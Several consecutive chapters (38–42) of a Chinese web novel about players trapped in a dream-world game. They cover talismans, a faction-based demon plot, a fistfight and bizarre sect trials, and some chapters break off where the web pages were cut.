与吴樊祐汇合后,俞小澄将情况简单复述,并打算试试将小厮画的符贴在房门上,看看夜里会发生什么事。 那琴声来自何处? 是否与学生失踪、仙门弟子自杀有所关联? 一切的谜底或许要等到亲身经历后才能知晓。 吴樊祐不反对她的提议,并主动包揽了贴符的任务。 说到底,这些都只是俞小澄的推测,谁都不知道会不会遭遇不测,要同其他人解释起来很是麻烦,他们可没有吴樊祐这般信任俞小澄。 也许正是有这一层考虑,吴樊祐将贴符之事揽到自己身上,倒令俞小澄舒心不少。 回到厢房交班时,俞小澄尚在想象着吴樊祐会以何种方式完成任务,便见吴樊祐大摇大摆将画着符箓的毛边纸贴在了门上。 “你小子一天到晚怎么这么多事?!” 首先发难的是大师兄,他一脸不爽地凑到门边,查看吴樊祐贴了什么东西。 吴樊祐故作一副胆小的模样,厚颜无耻地说道:“我从小怕鬼,贴张符驱驱邪,不然我怕睡不着。” 大师兄白眼差点翻上天,嘴里碎碎念叨:“男子汉大丈夫怕什么鬼!真是给师门丢脸……再说这符箓,我不是才说过没有驱邪之效么?怎么转眼又忘光了?!” “收敛心神嘛,差不多,我怕被女鬼看上,经不住诱惑,有备无患嘛!”吴樊祐一掌拍在门上,将纸黏得更紧些,眼里的笑意仿佛藏着刀。 “……就你事多……”大师兄无奈叹了口气,不再理会吴樊祐。 其他人没太大反应,反倒是陈奇不合时宜地站了出来,看上去表情有些僵硬,抽动着嘴角劝道:“我看没这个必要吧,书院已经有法阵了,没有妖怪能伤得了你!” “嚯?奇哥这么肯定?你和妖怪很熟?”吴樊祐一如既往反唇相讥。 陈奇面色阴沉,被他一句话气得咬牙切齿,他们原本在旅店里就不融洽,到了梦境中同样互相看不顺眼。 陈奇闷声说道:“小子,我劝你管好这张嘴,别给自己惹麻烦!” 吴樊祐却冷笑一声,一脸轻蔑地看向陈奇,嘴上毫不示弱:“我这个人偏偏最不怕的就是麻烦,怎么?想动手试试么,看是你麻烦,还是我麻烦。” 俞小澄在一旁拉了拉吴樊祐的衣袖,示意他不要与陈奇争锋相对,这个人对她来说太危险,他敢在梦境里杀人,在旅店也不手软,与他正面冲突实在不是明智之选。 吴樊祐似乎看出她的担忧,冲她笑了笑,收敛了嚣张的气焰。 不过,陈奇没有她想象中暴跳如雷,而是忍气吞声地闭了嘴,可看向吴樊祐的眼神中散发着危险的气息,这让俞小澄顿感一阵不安。 好在作为第二组巡视书院的队员,陈奇跟着另外两名弟子很快离开了厢房,俞小澄暂时松了一口气。 可是这种平静并没有持续多久。 等到第二轮换班,俞小澄等人离开厢房在书院中巡视两小时后,再次回到厢房,却发现原本贴在门上的纸已经化作灰烬,被风一吹,只在地上残留了一小块没有彻底烧尽的碎片。 俞小澄蹲下身,从地上捡起烧得只剩指甲盖大小的碎片,用脚趾头想都知道是谁干的。 此人这时正假惺惺地惋惜道:“哎呀,怎么这么不小心,你看我说吧,易燃物就不该乱贴乱放,还好没伤到人。” 俞小澄看了一眼与陈奇一起呆在房中的两个弟子,他们似乎不愿多事,仿佛屋子里发生任何事都与他们无关一般,神情冷漠地准备出门。 俞小澄恍神之际,一个人影已经与她擦身而过,带起一阵风,闪到陈奇面前,还不等陈奇反应过来,拳头猛然冲向他的面门,“嗷”的一声惨叫,陈奇摔倒在地。 打人者居高临下,冷眼看着脚下的陈奇,假惺惺地关心道:“哎呀,怎么这么不小心,你看我说吧,垃圾就该呆在垃圾桶里,否则还得让人收拾。” “妈的,找死!” 陈奇愤怒地从地上爬起来,面露凶光朝吴樊祐冲去,两人瞬间撕打起来。 陈奇出手狠毒,可到底不像白日里那般,现在手中没有武器,他做不到伤敌一千自损八百,几招被吴樊祐挡下后,他便拿吴樊祐没有办法了。 在体型上,明显吴樊祐更占优势,很快从双方互殴变成单方面毒打,吴樊祐将陈奇按倒在地,一拳一拳毫不留情地往他头上砸。 那狠厉的模样像要置人于死地,不一会儿,屋子里就只剩下陈奇的哀嚎声:“嗷,哥,哥,我错了,别打了!别打了!” 俞小澄真怕吴樊祐将人打死了,战战兢兢上前拉架,大师兄冷眼旁观了许久,才帮着俞小澄将吴樊祐从地上拉了起来。 这些NPC似乎都不关心是非如何,也没兴趣介入玩家的争执,等到这场斗殴落下帷幕,大师兄才不痛不痒地骂了句:“有这力气,不如学好法术对付妖怪。” 吴樊祐手背鲜血淋漓,俞小澄担忧地查看着伤势,不过发现他只是磕破了点皮,那些血全是陈奇的。 陈奇抹了抹鼻血,啐了一口带血的唾沫星子,大口喘着粗气从地上爬起身,眼神恶毒地盯着俞小澄二人,但是明显忌惮吴樊祐的武力值,不敢再硬碰硬。 见陈奇忍气吞声地跟着另外两人出了门,俞小澄才无奈地叹了一口气,劝吴樊祐以后当心点陈奇,谁知道这人会在背后做什么手脚呢。 吴樊祐一脸不在意,抬起手背说道:“要不再画一张?反正都是畜生的血,效果应该没差别。” 俞小澄简直哭笑不得,又觉得他说的不无道理,于是向大师兄讨了一张符纸,就着吴樊祐手背上的血,在招财的指点下重新画上禁锢之力符箓,然后将符纸贴在了门上。 等到一切结束,吴樊祐拉她到床铺坐下,说:“你先睡会儿,有我看着呢。” 俞小澄看了看他腕上手表,时间已经过了凌晨一点半,熬夜带来的疲倦感越来越明显,她也就不客套了,打算眯上一会儿。 这一眯,竟迷迷糊糊睡了过去,直到被一阵悠扬的琴声惊醒,那琴声仿佛直达心底,拨动着内心思绪。 俞小澄撑起疲倦的身体,揉了揉眼,发现屋内一片漆黑,不知何时灯烛熄灭,月光透过窗纸朦胧地洒进屋里,隐约可以看清屋内情形。 吴樊祐正躺在她身边,呼吸平稳,似乎睡得很沉,她一边唤着吴樊祐的名字,一边轻轻摇晃着他的身体,可始终未见他转醒。 一声声叫唤反倒吵到了床铺另一端的人,那人慵懒地伸展着四肢,声音有些不耐烦:“吵什么吵,到时间换班了吗?” 俞小澄摸黑找到烛台,摸出打火机点亮了蜡烛,房中总算亮了起来。 她回到床边,用力拍打着吴樊祐的胳膊,吴樊祐吃痛,睡眼惺忪地坐起身来,嘴里嘟哝着:“学 38. 梦境(二) 《我好像住进了黑店》全本免费阅读 招财首先路过大师兄身旁,轻轻戳了戳大师兄的肩膀,对方没有任何反应。只见大师兄目光呆滞地望着前方,视线没有焦点,眼神涣散,就像没有灵魂的木偶一样。 俞小澄让招财先去隔壁厢房看了一眼,灯烛未灭,香几上的伏妖炉里还飘着一缕烟,散发出淡淡的香气,床铺上的学生都在熟睡中。 他们睡得很沉,招财进门的动静没惊醒任何一人,一时间看上去没有不同寻常之处。 招财正要离开,俞小澄忽觉得哪里不对劲,她叫住招财,让他顺着一个方向清点起人头,这一数可把俞小澄吓得不轻,躺在床铺上的学生赫然少了一个。 俞小澄大惊,赶紧让招财在书院中转了一圈,书院没有那么大,没一会儿她就发现了和陈奇一起巡逻的两名弟子。 他们与大师兄一样,失神地站在连廊中,手掌向上摊着,手心里燃着一团幽蓝色的火球,火球静静燃烧着,照亮了四周,可驱使火球的人却像丢了魂魄,杵在原地成了空壳。 本该与二人在一起的陈奇,此时没了影踪。 难道陈奇遭了毒手? 心中隐隐不安,又往前院走,一路都没有看见陈奇的身影,耳边只有琴声优雅地维持着自己的音色。 那好听却又透着诡异的琴声不知从何处传来,不管俞小澄走到哪里,琴声都能清晰地传进她耳朵里,犹如清洗着灵魂,令人沉迷其中。 恍惚瞥见书院大门敞开着,招财正想出门,俞小澄担忧地叫道:“停!出了书院,没有法阵护佑,如果遇到妖怪怎么办?” 招财挠了挠头,指着肩上符纸说:“不怕,保护之力我可还记得。” “你用保护之力,岂不是要先解除禁锢之力?那我变成大师兄那样,还怎么逃走?”俞小澄说。 “对哦!”招财停下脚步,看了看书院外墨汁一般的夜色,“要不我们现在回去,假装无事发生如何?” 好奇心与恐惧感打了起来,俞小澄犹豫许久,一咬牙,道:“来都来了,不查明真相,如何睡得着啊……如果有危险,你跑快点!” “好。” 招财郑重地点点头,蹑手蹑脚往门外走。 书院外没有琴声,寂静得吓人,整个世界宛如停摆了一般,夜色将下河村吞噬,静得令人心底生寒,没有一丝生气,仿佛一夜之间荒废了似的,连犬吠声都听不见一声。 她明明记得看见朦胧月光透过窗纸照进屋子里,可自踏出厢房后,月亮始终藏在厚重的云层后。 夜里无风,却一直有一股寒气往身体内钻,冻得人瑟瑟发抖。 刚走出书院几步,俞小澄隐约听见说话声,在这悄无声息的村子里显得尤为突出,循着声音望去,天太黑,看不清,只能依稀感觉有什么站在远处。 “你们要我做的事我已经做到,可以放过我了吧?” 这个声音俞小澄很熟悉,正是不知所踪的陈奇。 另一个声音俞小澄从未听过,那低沉而粗糙的嗓音,带着几分不似人能发出来的吐气声,就像是有人只出气不进气。 “放心,你的阵营已经改变,如今只有帮助妖王降世,方有活路。” “我、我该怎么做?” “呵呵,很简单,剩下四日,努力不被发现,并破坏阵眼,活到妖王降世!” “那这孩子……” “你是聪明人,祭品我已收下,自会献给妖王,这对眼睛权当给你的奖励。” 说话间,远处传来一阵令人毛骨悚然的动静,那种手指在黏糊糊的血肉之中蠕动的声音,听得俞小澄浑身汗毛倒立。 这样的响动持续了半分钟,却让人感觉持久到折磨神经,空气中飘来一股腥味,带出几声干呕,引得俞小澄也直犯恶心。 令人奇怪的是整个过程中,她没有听到第三人的一丁点声音。 沉默持续了片刻,她再次听到陈奇的声音,这一次,那声音满是惊恐:“你、你要我吃、吃掉这玩意儿?” 光是听到这句话,俞小澄和招财就恶心得直冒酸水,招财受不了,缓缓退回了书院中,耳边再度响起琴声,招财忍不住干呕。 “呸呸呸,什么鬼东西,吃人么?”招财骂骂咧咧道。 这就是书院学生失踪的真相吗? 俞小澄强忍着一股股涌上心头的恶心感,细细地思索着。 所以,是仙门弟子被妖怪胁迫,将学生献祭给了妖怪吗?那琴声是妖怪在帮助仙门弟子作恶吗?刚才与陈奇在一起的人,是否就是这场梦境的恶灵呢? 脑子里乱作一团,她愈发看不懂这梦境究竟想让他们做什么。 担心陈奇回来发现自己,俞小澄催促招财先回厢房。 进屋关上房门后,招财才将身体控制权交回俞小澄手里,随着他解除附身,符纸上的符箓也随之消失,重新变回一张空白的符纸。 俞小澄扯下符纸递给招财,才回过神寻找吴樊祐。 屋子里,吴樊祐悠闲地躺在床铺上,看见俞小澄安然回到房里,表情有些奇怪,俞小澄看不出那是惊讶,还是惊喜,亦或是失望。 吴樊祐若有所思地问道:“学姐出去什么事都没发生?” “发生什么事?”俞小澄反问。 吴樊祐笑得人畜无害:“在这样怪异的梦境中,什么事都有可能发生,不是么?” 不知为什么,俞小澄总觉得怪怪的,她不知道自己是不是被梦境影响,疑神疑鬼的“病”又加重了,才会对吴樊祐都产生怀疑。 她甩了甩脑袋,试图将杂乱无用的想法全都甩掉,拍了拍脸,收敛思绪,回归正题道:“的确遇到些怪事,不过算不上危险,就是有点……恶心……” 俞小澄一脸嫌弃地将在书院外发现的情况告诉了吴樊祐,再次想象出那个画面,她依然干呕不止,不知陈奇最后有没有吞下那对眼珠。 “噢……阵营啊……就爱搞些没用的……”吴樊祐小声嘀咕。 “嗯?什么?”俞小澄听不懂他在说什么。 吴樊祐摇了摇头,笑道:“没什么,我就是觉得,那个陈奇一定知道得挺多,或许我们该从他下手。” 俞小澄仔细思索后,觉得吴樊祐并没有说错,方才恶心大过震惊,显然忽略了陈奇接触到的比他二人更加核心。 此前陈奇反对他们在门上贴符纸,甚至不惜烧掉符纸,导致与吴樊祐的正面冲突,她以为只是因为陈奇与他们不睦,故意借机恶心人。 如今重新审视,看法又有不同,陈奇也许提前预知了夜里会发生什么,而俞小澄在房门上贴符纸会对他造成困扰。 如果能从陈奇口中打听到更多消息,说不定有助于找到离开梦境的办法,至少俞小澄是这样期望的。 可是,陈奇会好心配合吗? 俞小澄怎么想,都觉得不可能。 要让人配合无非两条路——威逼和利诱。 就利诱而言,俞小澄并无把握,他们手上没有足够的 39. 梦境(二) 《我好像住进了黑店》全本免费阅读 阵营,这是俞小澄第二次听到这个词,方才在书院外,有人对陈奇说过“你的阵营已经改变”这样的话,可阵营究竟代表什么呢? “什么意思?”吴樊祐有些不耐烦。 陈奇双手交叉抱于胸前,露出一脸奸诈的笑:“免费赠送的就这两个字,后面可就是付费内容了。” 吴樊祐看着陈奇那副欠揍的模样气得牙痒,耐着性子说道:“那也要看你的消息值不值钱。” “呵,同样的招数,我不会上当两次。”陈奇摇了摇头,努力营造出一种胸有成竹的状态,轻笑道,“只要你同意与我合作,今后不再找我麻烦,我自然会与你们分享,你可以好好考虑。” 吴樊祐摸了摸下巴,依言做出一副思考的模样,但这样的思考只持续了两秒。 “考虑好了,我没兴趣。” 他拒绝的语气格外坚定。 陈奇没料到对方根本不为所动,一时有些难堪,或许是对吴樊祐有所忌惮,口风一转又道:“既然如此,我们各凭本事,只要你不招惹我,我也不会动你和你学姐,够有诚意了吧?” 吴樊祐的反应十分冷淡,就像任何合作他都觉得不重要,任何的威胁他也觉得无所谓,这些住客对他来说似乎与NPC没差。 虽不知道他真实想法,可至少给俞小澄的感觉是这样的。 当陈奇提出合作,以信息共享为诱惑时,俞小澄有那么一瞬间的意外惊喜,这是她自认没有筹码的另一条路——利诱,没想到是陈奇提了出来。 可是俞小澄清楚地知道,吴樊祐不会为了这点利益摒弃自己的喜恶,而她自己也不愿掺和其中,所以一开始她就没有寄希望于这条路。 在二人谈崩后,俞小澄终于开了口,壮着胆子对陈奇说道:“虽然没有合作必要,但我觉得,也许我们可以交换一下消息。” “你能有什么消息?”陈奇轻蔑地打量着俞小澄,对她的提议嗤之以鼻。 陈奇不屑的眼神令俞小澄倍感压力,声音不由得弱了几分:“我的消息你可能不感兴趣,但仙门应该挺想知道的……” 陈奇疑惑地盯着她,问:“仙门?与我何干?” 俞小澄藏起心底胆怯,指了指学生所在的厢房,说:“学生失踪的真相,仙门应该想调查清楚吧?” 只是一句话,陈奇神色立马变得紧张起来,即使他竭力想要掩饰,可脸上的微表情,不自然的动作,无处不在透露着内心的慌张。 “哼,怎么?难道你想说你知道真相了?开什么玩笑。”陈奇故作轻松地说道。 俞小澄正思考着该从何说起,就听吴樊祐讥讽道:“你最后收下了吗?你的奖励。” 吴樊祐的一句话,勾起陈奇恐怖的回忆,他面色铁青地看着二人,咬牙强忍着胃里的翻腾,一脸难以置信的模样,低声呢喃:“怎么会……难道是骗劳资的?不可能!规则不会骗人……” 俞小澄见状,从兜里拿出贴在门上的那张符纸,问道:“那琴声也在规则之中吗?” “我不是烧……”陈奇顿时泄了气,认输一般感叹道:“没想到你们还有准备,呵,是我大意了……” 原本一切只是猜测,她并没有十全的把握,不论结果如何,陈奇的反应总能透露出信息。 如果他妥协了,说明在规则下,帮助妖怪就是游戏任务,且不可被仙门发现;如果他满不在乎,那她思考的方向就错了,山下的怪事与游戏规则无关,他们只能上山寻找线索。 此刻看陈奇的模样,俞小澄知道自己猜对了。 他认定旁人无法发现他的秘密行动,因为他们原本应该和屋外的人一样陷入无意识状态,偏偏禁锢之力可以防止被迷惑。 他正是知晓一切,才会刻意毁掉符纸,却没想到他们会有后招。 “怎么样?值得交换吗?”俞小澄试探地问。 陈奇抹了一把脸,不甘地哀叹一声,说:“我也不想的,可我不做就会死,换做是你,也会做出同样决定。” “是谁逼你的?恶灵么?”俞小澄追问。 “不,据我所知,幽兰梦境的恶灵全都藏在暗处,操控着全局。”陈奇胡乱抓着头发,心烦意乱地说着,“幽兰梦境的关键我刚才已经说了,是阵营!” “你……一开始就知道……但你隐瞒了大家……为什么?”俞小澄弱弱地问了一句。 陈奇冷笑一声,理直气壮地反问:“一群见风使舵的家伙,我凭什么告诉他们?他们唯一的价值就是进入梦境充当炮灰。” 俞小澄和吴樊祐只是听着,不发一言。 陈奇对众人没说实话,但有一点他没有说谎,他的确只进过一次幽兰梦境,那一次经历让他见识了这个世界的恶意。 每一场梦境都有属于自己的规则,可经历得多了,他发现每种梦境隐藏着某种限制,而这种隐藏的限制好像是对恶灵的限制,又像是为了给梦境定级。 比如雏菊只要有人死亡便会结束梦境,又比如箭竹每日死亡人数上限为一人…… 而幽兰梦境的限制是阵营,每日不会有死亡限制,只要存活玩家的阵营全部相同,梦境就会结束,因此,幽兰梦境是阵营游戏。 这些都是经历过幽兰梦境并存活的人带出的消息,陈奇曾以为他们能攻克幽兰梦境,可最终发现,恶灵就想看玩家在选择中自相残杀,任何结盟在面临死亡时都不值一提。 自那以后,他再没有碰触过雏菊以外的梦境,他找到了一条看上去最轻松的生存之路。 “等等,如果只要玩家只剩一种阵营就可以结束梦境,那大家一起商量好,选择同阵营不就行了?你又何必隐瞒?” 听了陈奇的话,俞小澄生出一丝疑虑,在她看来,这种阵营游戏最快通关的秘诀就是齐心协力,只要不分裂,恶灵自然一败涂地。 “哈哈哈哈……”陈奇忽然大笑起来,“天真啊!你是有多不懂人心啊!如果一开始我就告诉那些人幽兰梦境的规则,你当真觉得不会有人背叛?” 俞小澄内心有些挣扎,要说相信,那是自欺欺人,她无法肯定地回答。 看到她的反应,陈奇笑得更猖狂了,他看了一眼厢房方向,面色阴沉地说道:“你们不也用我的阵营在威胁我嘛,一旦有了矛盾,知根知底只会置自己于危险境地。” “那,阵营是如何决定的?”吴樊祐无视陈奇的指责,冷冷问道。 陈奇怒瞥了吴樊祐一眼,却又拿他无可奈何,不悦地开口:“从进入梦境开始,我们的阵营就已经确立,也许是随机吧。” 他的话点醒了俞小澄,她想起大师兄说过,今日有六名新弟子上山,还有几个妖闯仙门被结界所伤。 当时她还觉得奇怪,如果说被闯仙门的那几个妖其实是被分配到妖怪阵营的玩家,那一切就说得通了。 俞小澄又想起在书院外偷听到的对话, 40. 梦境(二) 《我好像住进了黑店》全本免费阅读 后半夜过得十分平静,巡逻一直持续到天亮时分,等到商先生去学生的厢房查看时,才发现少了一人。 大师兄一脸懵逼,问了所有人都说昨夜什么事都没有发生。 学生们聚在一起窃窃私语,似乎都为昨晚失踪的不是自己而松了一口气,气氛着实怪异了些。 商先生更是习以为常,听说有人失踪也没有太大反应,带着意味声长地笑,依次看向俞小澄、吴樊祐和陈奇,平静地问:“各位可知究竟是怎么一回事?” 陈奇若无其事摇摇头,厚着脸皮回答:“不知道。” 吴樊祐斜睨了一眼陈奇,微微笑道:“谁知道呢。” 俞小澄心里有一根弦绷得紧紧的,似乎所有人都在等待她的回答,她总觉得怪怪的,就像面临一场考试,而她交出的答卷将决定整个游戏的走向。 在所有人的目光中,有两道视线格外灼热。其中一道来自陈奇,焦虑中透着心虚;另一道来自商先生,满是期待和好奇。 俞小澄知道,陈奇在担心她出卖自己。 那商先生呢?他是真的期待解决失踪难题吗? 从他始终淡然的情绪中,俞小澄只看出两个字——未必。 过了许久,俞小澄违心地摇了摇头,什么都没说出口。 随即她看到商先生露出一脸失望的表情,但她总觉得那不是因为解决不了难题而失望,而是因为没有达到预期而失去兴致。 本以为此事就此不了了之,谁知商先生突然提出请求,希望仙门弟子可以护送所有学生前往仙门。 大师兄有些为难,毕竟未得掌门首肯,他也不好自作主张。 然而商先生只是交给大师兄一封信,只见信封上写着“阜掌门亲启”,大师兄立马态度转变,一口答应了商先生的请求。 俞小澄甚是诧异,昨晚听商先生说要考虑,她以为只是客套话,没想到商先生真的同意将学生全部送上山,简直出乎她的意料。 大师兄让学生吃过早饭后就出发回仙门,坐在膳厅里,俞小澄发现大师兄带着另外两个弟子候在院子里,似乎对吃饭没有想法。而在她对面,陈奇一边吃,一边偷偷将馒头往兜里塞。 俞小澄心中一丝莫名,却有种不妙的感觉,于是学着陈奇的样子,偷偷塞了两三个馒头到帽子里。 她的举动恰好被吴樊祐看见,只听吴樊祐低声笑了起来,又替她拿了两个馒头塞到自己外套兜里,嘴里小声调侃:“学姐如今都未雨绸缪了?在上个梦境饿怕了么?我帮你带两个,保证饿不到你。” 俞小澄脸色微红,有些不好意思,但偷藏馒头的手没有停下来,又往兜里塞了两个。 与仙门弟子一同离开下河村后,不管是过桥,还是经山林赶路,一路畅通无阻。不知是碍于仙门弟子的震慑力,还是碍于人多势众,他们没有遇上任何怪事,一个多小时后顺利抵达仙门。 山顶四周云雾缭绕,仙门就坐落于山巅,看上去像是一座古朴的寺院。山门巍峨庄严,如同矗立在凡尘与仙界的屏障,将不属于这里的一切隔绝在外。 跟随大师兄的步伐,一行人进了山门,又爬了几十级台阶,接着映入眼帘的是宽阔的广场。 广场正中央有个高台,类似于演武台,正面的大殿看上去十分壮观,左右两边各有一间稍小一点的偏殿,再往后是绿树成荫的后院。 此时演武台上正瘫坐着五个人,而在他们面前站着一个白发长须身穿长袍的老者,似乎正逼台上四人做着什么事。 “喂,你们三个。”大师兄用手指点了点俞小澄、吴樊祐和陈奇三人,一脸严肃地交代,“去修行台参加新弟子小考,其他人跟我去正殿回禀掌门。” “是!” 除了俞小澄三人,其他弟子恭敬地拱手作揖回应,接着便指引着学生们随大师兄绕过修行台前往正殿,独留下俞小澄三人面面相觑。 “哎,真麻烦,看来小考每天都必须参与……”陈奇深呼吸一口气,无奈地迈步向修行台走去。 俞小澄与吴樊祐对视一眼,随即跟了上前。 等到靠近后,才发现瘫坐在修行台上的四人正是昨日除陈奇外进入仙门的四人——白羽楠、肖雪、禾苒以及壮硕男人。 他们坐在修行台上有气无力,双眼紧闭,牙齿咬合在一起,听到有人靠近,他们才艰难地睁开眼睛,待看清来人,坐着的四人激动地挣扎着想要站起身,可惜实在使不上劲。 白羽楠叹了口气:“唉,你们怎么来了……” 俞小澄走上前,一脸疑惑地蹲在她身旁,询问发生了什么事。 吴樊祐趁机嘲笑道:“哟,小姐姐,这么早出来晒太阳?还挺养生嘛。” 白羽楠想骂人,可光是开口都很费劲,她只好咽下这口气,忽视了吴樊祐的话,转对俞小澄说道:“这地方简直变态……哪里是修仙,我看是要杀人……” 俞小澄正思考着他们遭遇了什么事,便听到一阵咕咕的叫声,而在这一阵响声好似诱饵,引出了此起彼伏的咕咕声,如雷鸣一般响彻广场。 这,是腹中饥饿的“警笛”。 “果然……”俞小澄觉得有些荒唐,当她在膳厅中看到陈奇古怪的举动时,就有所猜疑,没想到还真有饿肚子这么老传统的环节,这些梦境还真是没有新意。 俞小澄一边在心里吐槽,一边悄声问白羽楠:“我带了馒头,要不你先吃点?” 白羽楠听到“馒头”两个字,疲惫无神的眼睛陡然一亮,随即又克制地压低声音说:“别被蒲罗长老发现了,会有惩罚。” 俞小澄扭头看向不远处捋着胡须的老者,他始终注视着台上众人的一举一动,虽然不知白羽楠所说的惩罚是什么,但她清楚,梦境中的规则最好是不要违背。 俞小澄看了看吴樊祐,吴樊祐会意地点点头,随后便走向了老者,学着仙门弟子的动作向老者拱手作揖,一本正经地胡说八道。 “长老,大师兄让我请您移步正殿,他好像在下河村发现了什么不得了的秘密,需要向掌门与众长老禀报,共同商议对策。” “莫非妖族又开始行动了?”老者捋了捋胡须,自言自语。 他思考了片刻,又扫视了一圈修行台上的新弟子,高声说道:“你们继续修行,不可懈怠,待为师回来便开启五行试炼。” “是……” 几声有气无力的回应送走了老者。 看着老者走远,俞小澄才从兜里帽子里拿出馒头分发给众人,众人接过馒头狼吞虎咽啃食起来,被噎着了就一边捶着胸口一边使劲往下咽。 “你们这到底是啥修行啊?节食减肥修行?”吴樊祐回到白羽楠面前,嘴上开着玩笑。 白羽楠瞥了他一眼,半点笑不出来,没好气地说道:“辟谷!这山上除了水 41. 梦境(二) 《我好像住进了黑店》全本免费阅读 白羽楠立刻明白俞小澄的用意,赶紧附和着高声回答:“噢噢,小考,那才叫一个莫名其妙啊!” 所谓弟子小考,是仙门法术的五行试炼,分别考验弟子各类法术的掌握情况。 在白羽楠看来,金木水火土五系法术试炼是一个赛一个的神经病,金系引雷,木系呼风,水系唤雨,火系纵火,土系御土。 若放在修真玄幻小说里,那是稀松平常,奈何他们这些玩家不过是普通人,要他们学会五行法术,那简直是天方夜谭。 “那姓陈的是如何通过小考的?”吴樊祐指了指陈奇问道。 白羽楠摇了摇头,为难地说:“其实我不知道,我们五个人被分到了五个考场,互不知道对方的考题,只有陈奇一个人通过试炼,后来他被允许下山历练,我也没机会问。” 根据白羽楠的回忆,昨日她分配到了木系小考,禾苒是水系,肖雪是金系,陈奇是火系,曾勇是土系。 说到小考题目,后来她有向其他人打听,几乎都是莫名其妙的考验形式。 木系小考是在一间点满蜡烛的房间中进行,房间正中央画着个直径一米的圆,白羽楠必须站在圆圈范围内,熄灭所有蜡烛。 “我在房间里吹了一下午蜡烛,肺都要吹炸了,什么狗屁试炼。”回忆起昨日的窘迫场面,白羽楠气得捶胸顿脚。 吴樊祐毫不掩饰地笑了起来,被俞小澄的手肘撞了一下,才稍加收敛。 水系小考的房间中摆放着一个酒坛,考官当着禾苒的面,将一碗清水和一碗墨汁一起倒入酒坛中,要禾苒取一碗清水出来。 “我取他狗命,取!我反正趴桌上睡了一下午。”禾苒愤懑地说。 金系小考更是简单,当然这简单并非难度,而是考场布置十分简陋,屋子里只立着一块半人高拳头厚的石板,考官要让肖雪招雷击碎石板。 “手上没有工具,我实在拿那块石板没辙……”肖雪温轻柔地叹了一口气。 土系小考则叫聚沙成剑,也不知道他们走哪儿搞来一堆沙子,几乎要堆满整个房间,让曾勇利用沙子打造一把武器。 “唉,我做了幅沙画,就我这艺术细胞,尽力了,丑是丑了点,还是能看出是一把剑,结果他们说不能杀敌,判我不过……”曾勇甚是无奈。 听到这些奇葩的考题,俞小澄既觉得震惊,又觉得好笑,好在所有考题听上去都没有危险,只是过于刁难,让人无法通过小考下山,最后大概率会被活活饿死在山上。 这就是梦境对付住客的手段吗?俞小澄总觉得怪怪的。 当所有人的考题都摆在明面上后,众人的焦点自然而然落在了陈奇头上,这是唯一一个被攻破的考题,或许是众人脱困的关键。 陈奇才不会在意他人的死活,看到众人焦头烂额,他反而幸灾乐祸,摆出一副事不关己的姿态,说:“想知道啊?自己去试试啊,劳资可没义务告诉你们。” “说什么呢,我真没见过比你自私的!”曾勇看不惯他那副欠揍的样子,高声怒呵。 这一点威吓力根本不足以让陈奇退缩,他轻蔑地瞟了一眼曾勇与禾苒,火上浇油道:“怎么?又想帮那贱人出头?” “嘴巴放干净点,像你这种人渣真该死!” 曾勇捏紧拳头对准陈奇,禾苒和白羽楠见状拦在他身前,陈奇依旧一脸挑衅地嘲讽,曾勇怒形于色,却又碍于女生挡在身前,始终难以与陈奇正面较量。 “你们放开,那个混蛋就是欠收拾。”曾勇烦躁地喊道。 禾苒难得冷静地劝说:“别理那神经病,他就想搅浑水。” 白羽楠也理智地劝道:“别吵了,你冷静点,他不过在浪费我们时间罢了。” 意图似乎被人看破,陈奇阴冷一笑,继续添油加醋说道:“哟,贱人,在外面不是挺嚣张么?叫人绑我,想要我死,怎么进入梦境就怂了?” 肖雪站在陈奇身后有些害怕,低声劝陈奇少说几句,可陈奇这种人哪会听她的,不停地出言激怒曾勇。 场面乱作一团,吵吵嚷嚷没完没了,这种无意义的争吵让俞小澄很是头疼。 她不知道陈奇到底有何目的,如果论打架,陈奇未必是曾勇的对手,激怒曾勇也捞不到好处,可他偏偏这么做,是单纯皮痒了想挨揍? 他们的吵嚷声很快引来仙门弟子,几个仙门弟子并不说话,只是停在不远不近的地方,目不转睛地观察着修行台上的动静。 那样子看上去像是在看戏,却又有点不同,他们似乎很关心事态的发展,但始终不出面阻拦。 陈奇发现仙门弟子在围观后,非但不收敛,还更加嚣张起来,不停用言语攻击着曾勇。 终于,曾勇被彻底激怒,甩开面前两个女生,抡起拳头就朝陈奇冲了过去。 陈奇没有躲,而他身后的肖雪吓得惊声尖叫。 随着这声尖叫声消失,曾勇的拳头结结实实地落在了陈奇的脸上,陈奇整个人在这股力道的作用下摔到了地上,鼻腔内瞬间血流如注。 陈奇捂住鼻子,鲜血从指缝间溢出,染得一手腥红,此时陈奇发出一阵怪笑,眼神阴毒地看着曾勇,一字一顿地说:“你,完,了。” 曾勇只觉莫名其妙,揪住陈奇的衣领就想再给他一拳,可有人从身后抓住了他的手腕。 曾勇不耐烦地甩了甩手,扭头才发现,来人不是禾苒和白羽楠,而是两个仙门弟子,一左一右将他压制住。 “拦我干嘛,这混蛋欠揍。”曾勇想要挣脱,可挣扎几下无果。 仙门弟子身后站着一个仪表堂堂的青年,与仙门弟子打扮不同,他身上长袍与长老相似,负手而立,竟给人一种老成持重的感觉。 俞小澄前一刻只看到仙门弟子围观,并没有发现此人在附近,不知他如何凭空出现的。 那青年盛气凌人地说道:“仙门内斗殴,有违门规,禁闭三日,带走!” “弟子得令!” 一声令下,另外两名弟子上前,将陈奇从地上拉起来,一左一后押着,与押着曾勇的两人一起,跟上那青年的步伐。 “等一下,你们要带我去哪儿?是那混蛋找茬我才……” 曾勇还想争辩几句,可话音未落,押着他的人手指捻诀,微光闪烁,一行人瞬间消失了。 一切发生得太突然,所有人都没有反应过来,曾勇和陈奇就已经不知被带去了何处,只有修行台上遗留的血迹证明着争斗者的存在。 禾苒大惊:“怎么回事?!” 白羽楠沉思片刻,叹气道:“上当了……那是琮云长老,掌管仙门惩戒,昨日入山门时,他就宣讲过门规,我们大意了……” 禾苒恍然大悟:“你是说陈奇那个混蛋故意激怒曾勇对他动手?” 42. 梦境(二) 《我好像住进了黑店》全本免费阅读 他的话让白羽楠瞬间清醒,她眉头紧锁着回答:“考场应该是随机分配的,昨日我们就没有选择权。” 禾苒想了想,微微一笑:“没关系,至少我们五个人中有一人可以进入火系试炼,只要有一人出去带回食物,也可解决眼下难题。” 经她提醒,似乎松了一口气,几个女生相互看着彼此,眼神中却隐藏着些许怀疑。 其实此时大家心里亦有不安,谁能保证逃出去的那个人还舍得回来? 禾苒第一个打破了沉默:“我得回来救曾勇,肖雪总不会抛下陈奇不管吧,俞小澄和吴樊祐也肯定不会丢下彼此。” 